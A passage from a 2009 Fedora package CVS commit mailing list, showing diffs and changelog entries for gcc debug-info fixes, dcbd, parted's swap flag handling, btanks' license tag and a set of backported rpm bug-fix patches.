-			validate_replace_rtx_group (dst, src, insn);
+			validate_change (p, &INSN_VAR_LOCATION_LOC (p),
+					 gen_rtx_UNKNOWN_VAR_LOC (), 1);
 		      else
 			break;
 		    }
-		  if (reg_mentioned_p (dst, PATTERN (p)))
+		  if (reg_overlap_mentioned_p (src, PATTERN (p)))
 		    {
 		      if (DEBUG_INSN_P (p))
-			validate_change (p, &INSN_VAR_LOCATION_LOC (p),
-					 gen_rtx_UNKNOWN_VAR_LOC (), 1);
+			validate_replace_rtx_group (src, dst, p);
 		      else
 			break;
 		    }

gcc44-vta-rh521991-2.patch:
 testsuite/gcc.dg/debug/vta-2.c |   22 ++++++++++++++++++++++
 tree-ssa-operands.c            |    6 +++++-
 2 files changed, 27 insertions(+), 1 deletion(-)

--- NEW FILE gcc44-vta-rh521991-2.patch ---
2009-10-08  Jakub Jelinek  <jakub at redhat.com>

	* tree-ssa-operands.c (pop_stmt_changes): In DEBUG stmts, if
	an SSA operand is DECL_P and referenced, mark it for renaming.

	* gcc.dg/debug/vta-2.c: New test.

--- gcc/tree-ssa-operands.c.jj	2009-10-08 01:08:23.000000000 +0200
+++ gcc/tree-ssa-operands.c	2009-10-08 08:57:45.000000000 +0200
@@ -2715,12 +2715,16 @@ pop_stmt_changes (gimple *stmt_p)
   if (gimple_debug_bind_p (stmt))
     {
       FOR_EACH_SSA_TREE_OPERAND (op, stmt, iter, SSA_OP_DEF|SSA_OP_USE)
-	if (DECL_P (op) && !referenced_var_p (op))
+	if (!DECL_P (op))
+	  continue;
+	else if (!referenced_var_p (op))
 	  {
 	    gimple_debug_bind_reset_value (stmt);
 	    update_stmt (stmt);
 	    break;
 	  }
+	else
+	  mark_sym_for_renaming (op);
     }
   else
     {
--- gcc/testsuite/gcc.dg/debug/vta-2.c.jj	2009-10-08 09:55:36.000000000 +0200
+++ gcc/testsuite/gcc.dg/debug/vta-2.c	2009-10-08 09:55:49.000000000 +0200
@@ -0,0 +1,22 @@
+/* { dg-do compile } */
+/* { dg-options "-O2 -g" } */
+
+static int
+bar (void *a, unsigned int b, int n)
+{
+  int c = *(unsigned long *) a % b;
+  *(unsigned long *) a = (int) (*(unsigned long *) a) / b;
+  return c;
+}
+
+int
+foo (unsigned long x, int *y, int z)
+{
+  int level;
+  for (level = 0; level < *y; level++)
+    {
+      bar (&x, z, sizeof (x));
+      if (x)
+	return *y - 1;
+    }
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.297
retrieving revision 1.298
diff -u -p -r1.297 -r1.298
--- .cvsignore	5 Oct 2009 20:24:56 -0000	1.297
+++ .cvsignore	8 Oct 2009 08:41:15 -0000	1.298
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.1-20091005.tar.bz2
+gcc-4.4.1-20091008.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- gcc.spec	5 Oct 2009 20:24:57 -0000	1.76
+++ gcc.spec	8 Oct 2009 08:41:15 -0000	1.77
@@ -1,9 +1,9 @@
-%global DATE 20091005
-%global SVNREV 152471
+%global DATE 20091008
+%global SVNREV 152555
 %global gcc_version 4.4.1
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 19
+%global gcc_release 20
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -161,7 +161,8 @@ Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
 Patch20: gcc44-vta-rh521991.patch
-Patch21: gcc44-pr41317.patch
+Patch21: gcc44-vta-rh521991-2.patch
+Patch22: gcc44-vta-pr41353-c9.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -469,7 +470,8 @@ which are required to compile with the G
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
 %patch20 -p0 -b .vta-rh521991~
-%patch21 -p0 -b .pr41317~
+%patch21 -p0 -b .vta-rh521991-2~
+%patch22 -p0 -b .vta-pr41353-c9~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1839,6 +1841,13 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Thu Oct  8 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-20
+- update from gcc-4_4-branch
+  - PRs c++/39863, c++/41038
+- avoid redundant DW_AT_const_value when abstract origin already has one
+  (#527430) 
+- another VTA debug stmt renaming bugfix (#521991)
+
 * Mon Oct  5 2009 Jakub Jelinek <jakub at redhat.com> 4.4.1-19
 - update from gcc-4_4-branch
   - PRs fortran/41479, fortran/41515


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.301
retrieving revision 1.302
diff -u -p -r1.301 -r1.302
--- sources	5 Oct 2009 20:24:57 -0000	1.301
+++ sources	8 Oct 2009 08:41:15 -0000	1.302
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-c89041d608f2c9f1711384305660a6ec  gcc-4.4.1-20091005.tar.bz2
+c4c9ad868e890c2a8de2f96496e74b12  gcc-4.4.1-20091008.tar.bz2


--- gcc44-pr41317.patch DELETED ---



From jzeleny at fedoraproject.org  Thu Oct  8 09:09:06 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Thu,  8 Oct 2009 09:09:06 +0000 (UTC)
Subject: rpms/dcbd/devel dcbd-0.9.15-lookup-string.patch,1.2,1.3
Message-ID: <20091008090906.ED5A911C00DB@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/dcbd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1130

Modified Files:
	dcbd-0.9.15-lookup-string.patch 
Log Message:
correction of lookup string patch to match new sources

dcbd-0.9.15-lookup-string.patch:
 config.c |   17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

Index: dcbd-0.9.15-lookup-string.patch
===================================================================
RCS file: /cvs/extras/rpms/dcbd/devel/dcbd-0.9.15-lookup-string.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- dcbd-0.9.15-lookup-string.patch	5 Oct 2009 07:28:04 -0000	1.2
+++ dcbd-0.9.15-lookup-string.patch	8 Oct 2009 09:09:06 -0000	1.3
@@ -1,15 +1,15 @@
 --- dcbd-0.9.15/config.c.old	2009-10-02 15:38:53.213693022 -0700
 +++ dcbd-0.9.15/config.c	2009-10-02 15:39:30.135703553 -0700
-@@ -69,6 +69,8 @@ int init_cfg(void)
- {
- 	config_setting_t *root;
+@@ -70,6 +70,8 @@ int init_cfg(void)
+ 	if (cfg_loaded == TRUE)
+ 		return CONFIG_OK;
  
 +	config_init(&dcb_cfg);
 +
  	if (!config_read_file(&dcb_cfg, cfg_file_name)) {
  		TRACE("config file failed to load\n")
  		TRACE2("error: ", config_error_text(&dcb_cfg))
-@@ -360,16 +362,15 @@ static dcb_result _set_persistent(char *
+@@ -358,16 +360,15 @@ static dcb_result _set_persistent(char *
  	config_setting_t *setting_traffic = NULL;
  	config_setting_t *setting_value = NULL;
  	char abuf[2*DCB_MAX_TLV_LENGTH + 1];
@@ -29,7 +29,7 @@
  		if (result) {
  			if (result < 0) {
  				/* need to create a new upgraded cfg file */
-@@ -944,17 +945,15 @@ dcb_result get_persistent(char *device_n
+@@ -942,17 +943,15 @@ dcb_result get_persistent(char *device_n
  	config_setting_t *setting_value = NULL;
  	int result = dcb_failed, i;
  	int results[MAX_USER_PRIORITIES];



From jwrdegoede at fedoraproject.org  Thu Oct  8 09:14:01 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  8 Oct 2009 09:14:01 +0000 (UTC)
Subject: rpms/parted/devel parted-1.9.0-swap-flag.patch, 1.3, 1.4 parted.spec,
	1.150, 1.151
Message-ID: <20091008091401.BBD9911C00DB@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2276

Modified Files:
	parted-1.9.0-swap-flag.patch parted.spec 
Log Message:
* Thu Oct  8 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-17
- Only change the partition type to 82 when setting the swap flag on dos
  labels, not when resetting it


parted-1.9.0-swap-flag.patch:
 dos.c |   30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

Index: parted-1.9.0-swap-flag.patch
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted-1.9.0-swap-flag.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- parted-1.9.0-swap-flag.patch	6 Oct 2009 18:53:21 -0000	1.3
+++ parted-1.9.0-swap-flag.patch	8 Oct 2009 09:14:01 -0000	1.4
@@ -109,7 +109,7 @@ index 7ec15ee..f8307c5 100644
 +			dos_data->prep = 0;
 +		}
 +		dos_data->swap = state;
-+		return ped_partition_set_system (part, ped_file_system_type_get("linux-swap"));
++		return ped_partition_set_system (part, part->fs_type);
 +
  	default:
  		return 0;


Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/devel/parted.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- parted.spec	6 Oct 2009 20:57:12 -0000	1.150
+++ parted.spec	8 Oct 2009 09:14:01 -0000	1.151
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 16%{?dist}
+Release: 17%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -142,6 +142,10 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Thu Oct  8 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-17
+- Only change the partition type to 82 when setting the swap flag on dos
+  labels, not when resetting it
+
 * Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-16
 - Correctly handle GPT labels on big endian machines
 



From jwrdegoede at fedoraproject.org  Thu Oct  8 09:14:57 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  8 Oct 2009 09:14:57 +0000 (UTC)
Subject: rpms/parted/F-12 parted-1.9.0-swap-flag.patch, 1.3, 1.4 parted.spec,
	1.149, 1.150
Message-ID: <20091008091457.5679011C00DB@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/parted/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2556

Modified Files:
	parted-1.9.0-swap-flag.patch parted.spec 
Log Message:
* Thu Oct  8 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-17
- Only change the partition type to 82 when setting the swap flag on dos
  labels, not when resetting it


parted-1.9.0-swap-flag.patch:
 dos.c |   30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

Index: parted-1.9.0-swap-flag.patch
===================================================================
RCS file: /cvs/extras/rpms/parted/F-12/parted-1.9.0-swap-flag.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- parted-1.9.0-swap-flag.patch	6 Oct 2009 21:00:09 -0000	1.3
+++ parted-1.9.0-swap-flag.patch	8 Oct 2009 09:14:57 -0000	1.4
@@ -109,7 +109,7 @@ index 7ec15ee..f8307c5 100644
 +			dos_data->prep = 0;
 +		}
 +		dos_data->swap = state;
-+		return ped_partition_set_system (part, ped_file_system_type_get("linux-swap"));
++		return ped_partition_set_system (part, part->fs_type);
 +
  	default:
  		return 0;


Index: parted.spec
===================================================================
RCS file: /cvs/extras/rpms/parted/F-12/parted.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- parted.spec	6 Oct 2009 21:00:09 -0000	1.149
+++ parted.spec	8 Oct 2009 09:14:57 -0000	1.150
@@ -4,7 +4,7 @@
 Summary: The GNU disk partition manipulation program
 Name:    parted
 Version: 1.9.0
-Release: 16%{?dist}
+Release: 17%{?dist}
 License: GPLv3+
 Group:   Applications/System
 URL:     http://www.gnu.org/software/parted
@@ -142,6 +142,10 @@ fi
 %{_exec_prefix}/%{_lib}/pkgconfig/libparted.pc
 
 %changelog
+* Thu Oct  8 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-17
+- Only change the partition type to 82 when setting the swap flag on dos
+  labels, not when resetting it
+
 * Tue Oct  6 2009 Hans de Goede <hdegoede at redhat.com> 1.9.0-16
 - Correctly handle GPT labels on big endian machines
 



From atorkhov at fedoraproject.org  Thu Oct  8 09:32:00 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Thu,  8 Oct 2009 09:32:00 +0000 (UTC)
Subject: rpms/btanks/devel btanks.spec,1.3,1.4
Message-ID: <20091008093200.4D50611C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/btanks/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6997

Modified Files:
	btanks.spec 
Log Message:
correcting license tag


Index: btanks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/btanks/devel/btanks.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- btanks.spec	24 Jul 2009 18:27:20 -0000	1.3
+++ btanks.spec	8 Oct 2009 09:32:00 -0000	1.4
@@ -6,7 +6,7 @@ Summary(ru):    ?????????????? ?????????
 
 Group:          Amusements/Games
 # Libraries clunk, mrt and sdlx are under LGPLv2+, all other sources are GPLv2+
-License:        GPLv2+ and LGPLv2+
+License:        GPLv2+ with exceptions and LGPLv2+
 URL:            http://btanks.sourceforge.net/
 # Remove RPath from binaries
 Patch0:         %{name}-0.8-remove-rpath.patch



From pmatilai at fedoraproject.org  Thu Oct  8 09:48:25 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Thu,  8 Oct 2009 09:48:25 +0000 (UTC)
Subject: rpms/rpm/F-11 rpm-4.7.1-abs-filelist.patch, NONE,
	1.1 rpm-4.7.1-chroot-env-paths.patch, NONE,
	1.1 rpm-4.7.1-chroot-remove-env.patch, NONE,
	1.1 rpm-4.7.1-debug-perms.patch, NONE,
	1.1 rpm-4.7.1-duplicate-deps.patch, NONE,
	1.1 rpm-4.7.1-filedep-dnevr.patch, NONE,
	1.1 rpm-4.7.1-perl-heredoc.patch, NONE,
	1.1 rpm-4.7.1-rpm2cpio-init.patch, NONE, 1.1 rpm.spec, 1.354, 1.355
Message-ID: <20091008094825.1A6DB11C00DB@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/rpm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11055

Modified Files:
	rpm.spec 
Added Files:
	rpm-4.7.1-abs-filelist.patch rpm-4.7.1-chroot-env-paths.patch 
	rpm-4.7.1-chroot-remove-env.patch rpm-4.7.1-debug-perms.patch 
	rpm-4.7.1-duplicate-deps.patch rpm-4.7.1-filedep-dnevr.patch 
	rpm-4.7.1-perl-heredoc.patch rpm-4.7.1-rpm2cpio-init.patch 
Log Message:
- use relative paths within db environment (related to #507309, #507309...)
- remove db environment on close in chrooted operation (related to above)
- initialize rpmlib earlier in rpm2cpio (#523260)
- fix file dependency tag extension formatting (#523282)
- fix duplicate dependency filtering on build (#490378)
- permit absolute paths in file lists again (#521760)
- use permissions 444 for all .debug files (#522194)
- perl dep extractor heredoc parsing improvements (#524929)


rpm-4.7.1-abs-filelist.patch:
 files.c |   10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

--- NEW FILE rpm-4.7.1-abs-filelist.patch ---
commit 4018bbd08e84fd0cc227dcb8d2dc20693ce2296a
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Tue Sep 15 10:56:58 2009 +0300

    Allow absolute paths in file lists again (SuseBug:535594, RhBug:521760)
    - patch from OpenSUSE / Michael Schroeder
    - build-time generated file lists should be placed in the build directory,
      but at least one valid use case for this is things like %files -f %{SOURCE10}

diff --git a/build/files.c b/build/files.c
index b5c5437..061494d 100644
--- a/build/files.c
+++ b/build/files.c
@@ -1755,9 +1755,13 @@ static rpmRC processPackageFiles(rpmSpec spec, Package pkg,
 
 	argvSplit(&filelists, getStringBuf(pkg->fileFile), "\n");
 	for (fp = filelists; *fp != NULL; fp++) {
-	    ffn = rpmGetPath("%{_builddir}/",
-		(spec->buildSubdir ? spec->buildSubdir : "") ,
-		"/", *fp, NULL);
+	    if (**fp == '/') {
+		ffn = rpmGetPath(*fp, NULL);
+	    } else {
+		ffn = rpmGetPath("%{_builddir}/",
+		    (spec->buildSubdir ? spec->buildSubdir : "") ,
+		    "/", *fp, NULL);
+	    }
 	    fd = fopen(ffn, "r");
 
 	    if (fd == NULL || ferror(fd)) {

rpm-4.7.1-chroot-env-paths.patch:
 db3.c |   17 ++++++-----------
 1 file changed, 6 insertions(+), 11 deletions(-)

--- NEW FILE rpm-4.7.1-chroot-env-paths.patch ---
diff --git a/lib/backend/db3.c b/lib/backend/db3.c
index 9f0f941..b0b2a86 100644
--- a/lib/backend/db3.c
+++ b/lib/backend/db3.c
@@ -1015,17 +1015,12 @@ static int db3open(rpmdb rpmdb, rpmTag rpmtag, dbiIndex * dbip)
 	    }
 
 	    if (rc == 0) {
-		char * fullpath;
-		const char * dbpath;
-		fullpath = rpmGetPath(dbhome, "/", dbfile ? dbfile : "", NULL);
-
-#ifdef	HACK	/* XXX necessary to support dbsubfile */
-		dbpath = (!dbi->dbi_use_dbenv && !dbi->dbi_temporary)
-			? fullpath : dbfile;
-#else
-		dbpath = (!dbi->dbi_temporary)
-			? fullpath : dbfile;
-#endif
+		char * fullpath = NULL;
+		const char * dbpath = dbfile;
+		if (!dbi->dbi_use_dbenv && !dbi->dbi_temporary) {
+		    fullpath = rpmGetPath(dbhome, "/", dbfile, NULL);
+		    dbpath = fullpath;
+		}
 
 		rc = (db->open)(db, txnid, dbpath, dbsubfile,
 		    dbi->dbi_type, oflags, dbi->dbi_perms);

rpm-4.7.1-chroot-remove-env.patch:
 backend/db3.c |    3 ++-
 rpmdb.c       |    3 ++-
 2 files changed, 4 insertions(+), 2 deletions(-)

--- NEW FILE rpm-4.7.1-chroot-remove-env.patch ---
diff --git a/lib/backend/db3.c b/lib/backend/db3.c
index 9f0f941..9683100 100644
--- a/lib/backend/db3.c
+++ b/lib/backend/db3.c
@@ -181,7 +181,8 @@ static int db_fini(dbiIndex dbi, const char * dbhome,
 	xx = db_env_create(&dbenv, 0);
 	xx = cvtdberr(dbi, "db_env_create", xx, _debug);
 	xx = dbenv->remove(dbenv, dbhome, 0);
-	xx = cvtdberr(dbi, "dbenv->remove", xx, _debug);
+	/* filter out EBUSY as it just means somebody else gets to clean it */
+	xx = cvtdberr(dbi, "dbenv->remove", xx, (xx == EBUSY ? 0 : _debug));
 
 	if (dbfile)
 	    rpmlog(RPMLOG_DEBUG, "removed  db environment %s/%s\n",
diff --git a/lib/rpmdb.c b/lib/rpmdb.c
index 0754b99..b781cfc 100644
--- a/lib/rpmdb.c
+++ b/lib/rpmdb.c
@@ -921,7 +921,8 @@ rpmdb newRpmdb(const char * root,
 	return NULL;
     }
     db->db_errpfx = rpmExpand( (epfx && *epfx ? epfx : _DB_ERRPFX), NULL);
-    db->db_remove_env = 0;
+    /* XXX remove environment after chrooted operations, for now... */
+    db->db_remove_env = ((strcmp(db->db_root, "/") != 0)? 1 : 0);
     db->db_filter_dups = _db_filter_dups;
     db->db_ndbi = dbiTags.max;
     db->_dbi = xcalloc(db->db_ndbi, sizeof(*db->_dbi));

rpm-4.7.1-debug-perms.patch:
 find-debuginfo.sh |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE rpm-4.7.1-debug-perms.patch ---
>From 6cc599de01a9835b5128b7b2a869f9f7cf3976fb Mon Sep 17 00:00:00 2001
From: Roland McGrath <roland at redhat.com>
Date: Wed, 9 Sep 2009 11:07:10 -0700
Subject: [PATCH] find-debuginfo.sh: use permissions 444 for all .debug files

Signed-off-by: Roland McGrath <roland at redhat.com>
---
 scripts/find-debuginfo.sh |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/scripts/find-debuginfo.sh b/scripts/find-debuginfo.sh
index 21366bf..8d86de6 100644
--- a/scripts/find-debuginfo.sh
+++ b/scripts/find-debuginfo.sh
@@ -93,6 +93,7 @@ strip_to_debug()
   application/x-sharedlib*) g=-g ;;
   esac
   eu-strip --remove-comment $g -f "$1" "$2" || exit
+  chmod 444 "$1" || exit
 }
 
 # Make a relative symlink to $1 called $3$2
-- 
1.6.2.5


rpm-4.7.1-duplicate-deps.patch:
 reqprov.c |   62 ++++++++++++++++++++++++++++++++++++++++++--------------------
 1 file changed, 42 insertions(+), 20 deletions(-)

--- NEW FILE rpm-4.7.1-duplicate-deps.patch ---
commit 10772ac7dfad60cb5a20681d22cf851468d0a8f9
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Thu Aug 20 13:02:05 2009 +0300

    Fix duplicate dependency checking on build
    - Broken by commit af8b41c64af39ce07d85fcd92fa78d566747d815 which
      simplified too much.
    - There's no guarantee that rpmdsNew() returns a sorted dependency set
      so rpmdsFind() doesn't work correctly here. Walk the ds manually instead.
    - With multiple triggers of same type, identical trigger conditions on
      different trigger script were seen as duplicates (RhBug:490378)
    - Split the duplicate checking to separate helper function for clarity

diff --git a/build/reqprov.c b/build/reqprov.c
index 1e69bd2..ba6a1e8 100644
--- a/build/reqprov.c
+++ b/build/reqprov.c
@@ -9,6 +9,38 @@
 #include <rpm/rpmbuild.h>
 #include "debug.h"
 
+static int isNewDep(Header h, rpmTag nametag,
+		  const char *N, const char *EVR, rpmsenseFlags Flags,
+		  rpmTag indextag, uint32_t index)
+{
+    int new = 1;
+    struct rpmtd_s idx;
+    rpmds ads = rpmdsNew(h, nametag, 0);
+    rpmds bds = rpmdsSingle(nametag, N, EVR, Flags);
+
+    if (indextag) {
+	headerGet(h, indextag, &idx, HEADERGET_MINMEM);
+    }
+
+    /* XXX there's no guarantee the ds is sorted here so rpmdsFind() wont do */
+    rpmdsInit(ads);
+    while (new && rpmdsNext(ads) >= 0) {
+	if (strcmp(rpmdsN(ads), rpmdsN(bds))) continue;
+	if (strcmp(rpmdsEVR(ads), rpmdsEVR(bds))) continue;
+	if (rpmdsFlags(ads) != rpmdsFlags(bds)) continue;
+	if (indextag && rpmtdSetIndex(&idx, rpmdsIx(ads)) >= 0 &&
+			rpmtdGetNumber(&idx) != index) continue;
+	new = 0;
+    }
+    
+    if (indextag) {
+	rpmtdFreeData(&idx);
+    }
+    rpmdsFree(ads);
+    rpmdsFree(bds);
+    return new;
+}
+
 int addReqProv(rpmSpec spec, Header h, rpmTag tagN,
 		const char * N, const char * EVR, rpmsenseFlags Flags,
 		uint32_t index)
@@ -55,28 +87,18 @@ int addReqProv(rpmSpec spec, Header h, rpmTag tagN,
     if (EVR == NULL)
 	EVR = "";
     
-    /* Check for duplicate dependencies. */
-    rpmds hds = rpmdsNew(h, nametag, 0);
-    rpmds newds = rpmdsSingle(nametag, N, EVR, Flags);
-    /* already got it, don't bother */
-    if (rpmdsFind(hds, newds) >= 0) {
-	goto exit;
-    }
-
-    /* Add this dependency. */
-    headerPutString(h, nametag, N);
-    if (flagtag) {
-	headerPutString(h, versiontag, EVR);
-	headerPutUint32(h, flagtag, &Flags, 1);
-    }
-    if (indextag) {
-	headerPutUint32(h, indextag, &index, 1);
+    /* Avoid adding duplicate dependencies. */
+    if (isNewDep(h, nametag, N, EVR, Flags, indextag, index)) {
+	headerPutString(h, nametag, N);
+	if (flagtag) {
+	    headerPutString(h, versiontag, EVR);
+	    headerPutUint32(h, flagtag, &Flags, 1);
+	}
+	if (indextag) {
+	    headerPutUint32(h, indextag, &index, 1);
+	}
     }
 
-exit:
-    rpmdsFree(hds);
-    rpmdsFree(newds);
-	
     return 0;
 }
 

rpm-4.7.1-filedep-dnevr.patch:
 tagexts.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE rpm-4.7.1-filedep-dnevr.patch ---
commit d846e6b0f829791e6ffce4fd496c9378bff19c43
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Tue Sep 15 08:45:14 2009 +0300

    Don't add dependency type into file requires and provides (RhBug:523282)
    - unintended change in commit 3d8656f040d2c780c88d0cd63594898f0605a6fa

diff --git a/lib/tagexts.c b/lib/tagexts.c
index ec0b001..4588365 100644
--- a/lib/tagexts.c
+++ b/lib/tagexts.c
@@ -137,7 +137,7 @@ static int filedepTag(Header h, rpmTag tagN, rpmtd td, headerGetFlags hgflags)
 		    continue;
 		DNEVR = rpmdsDNEVR(ds);
 		if (DNEVR != NULL) {
-		    argvAdd(&deps, DNEVR);
+		    argvAdd(&deps, DNEVR + 2);
 		}
 	    }
 	}

rpm-4.7.1-perl-heredoc.patch:
 perl.req |    8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

--- NEW FILE rpm-4.7.1-perl-heredoc.patch ---
commit 007218488a33678c66b19b34ab1ef9fd2ffaec9e
Author: Ville Skytt? <ville.skytta at iki.fi>
Date:   Tue Sep 22 21:11:20 2009 +0300

    Improve perl.req here-doc skipping.
    
    This version is stricter in finding the end identifier by using equality test
    instead of a regex (as a side effect, fixes rhbz#524929) as well as parsing
    quoted identifiers, and adds support for identifiers in backticks.
    (cherry picked from commit dab575b24498e2362845e7da6dc76015fa88b4a9)

diff --git a/scripts/perl.req b/scripts/perl.req
index 0d26346..4c08dcd 100755
--- a/scripts/perl.req
+++ b/scripts/perl.req
@@ -82,12 +82,14 @@ sub process_file {
     
     # skip the "= <<" block
 
-    if ( ( m/^\s*\$(.*)\s*=\s*<<\s*["'](.*)['"]/) ||
-         ( m/^\s*\$(.*)\s*=\s*<<\s*(.*);/) ) {
+    if ( ( m/^\s*\$(?:.*)\s*=\s*<<\s*(["'`])(.*)\1/) ||
+         ( m/^\s*\$(.*)\s*=\s*<<(\w*)\s*;/) ) {
       $tag = $2;
       while (<FILE>) {
-        ( $_ =~ /^$tag/) && last;
+        chomp;
+        ( $_ eq $tag ) && last;
       }
+      $_ = <FILE>;
     }
 
     # skip q{} quoted sections - just hope we don't have curly brackets

rpm-4.7.1-rpm2cpio-init.patch:
 rpm2cpio.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE rpm-4.7.1-rpm2cpio-init.patch ---
commit 63d37be6b4a854b9cbbd47306c5c383a2ad356c2
Author: Panu Matilainen <pmatilai at redhat.com>
Date:   Tue Sep 15 12:57:51 2009 +0300

    Initialize rpm earlier in rpm2cpio (RhBug:523260)
    - url retrieval requires macros to be loaded

diff --git a/rpm2cpio.c b/rpm2cpio.c
index 6c29cab..bf7f17c 100644
--- a/rpm2cpio.c
+++ b/rpm2cpio.c
@@ -21,6 +21,7 @@ int main(int argc, char *argv[])
     FD_t gzdi;
     
     setprogname(argv[0]);	/* Retrofit glibc __progname */
+    rpmReadConfigFiles(NULL, NULL);
     if (argc == 1)
 	fdi = fdDup(STDIN_FILENO);
     else {
@@ -37,7 +38,6 @@ int main(int argc, char *argv[])
 	exit(EXIT_FAILURE);
     }
     fdo = fdDup(STDOUT_FILENO);
-    rpmReadConfigFiles(NULL, NULL);
 
     {	rpmts ts = rpmtsCreate();
 	rpmVSFlags vsflags = 0;


Index: rpm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rpm/F-11/rpm.spec,v
retrieving revision 1.354
retrieving revision 1.355
diff -u -p -r1.354 -r1.355
--- rpm.spec	27 Jul 2009 19:03:33 -0000	1.354
+++ rpm.spec	8 Oct 2009 09:48:24 -0000	1.355
@@ -25,7 +25,7 @@
 Summary: The RPM package management system
 Name: rpm
 Version: %{rpmver}
-Release: 2%{?dist}
+Release: 3%{?dist}
 Group: System Environment/Base
 Url: http://www.rpm.org/
 Source0: http://rpm.org/releases/rpm-4.7.x/%{name}-%{srcver}.tar.bz2
@@ -43,6 +43,14 @@ Patch2: rpm-4.5.90-gstreamer-provides.pa
 Patch3: rpm-4.6.0-fedora-specspo.patch
 
 # Patches already in upstream
+Patch200: rpm-4.7.1-abs-filelist.patch
+Patch201: rpm-4.7.1-debug-perms.patch
+Patch202: rpm-4.7.1-duplicate-deps.patch
+Patch203: rpm-4.7.1-chroot-env-paths.patch
+Patch204: rpm-4.7.1-rpm2cpio-init.patch
+Patch205: rpm-4.7.1-filedep-dnevr.patch
+Patch206: rpm-4.7.1-chroot-remove-env.patch
+Patch207: rpm-4.7.1-perl-heredoc.patch
 
 # These are not yet upstream
 Patch300: rpm-4.7.0-extra-provides.patch
@@ -184,6 +192,15 @@ that will manipulate RPM packages and da
 %patch2 -p1 -b .gstreamer-prov
 %patch3 -p1 -b .fedora-specspo
 
+%patch200 -p1 -b .abs-filelist
+%patch201 -p1 -b .debug-perms
+%patch202 -p1 -b .duplicate-deps
+%patch203 -p1 -b .chroot-env-paths
+%patch204 -p1 -b .rpm2cpio.init
+%patch205 -p1 -b .filedep-dnevr
+%patch206 -p1 -b .chroot-remove-env
+%patch207 -p1 -b .perl-heredoc
+
 %patch300 -p1 -b .extra-prov
 %patch301 -p1 -b .niagara
 
@@ -393,6 +410,16 @@ exit 0
 %doc doc/librpm/html/*
 
 %changelog
+* Thu Oct 08 2009 Panu Matilainen <pmatilai at redhat.com> - 4.7.1-3
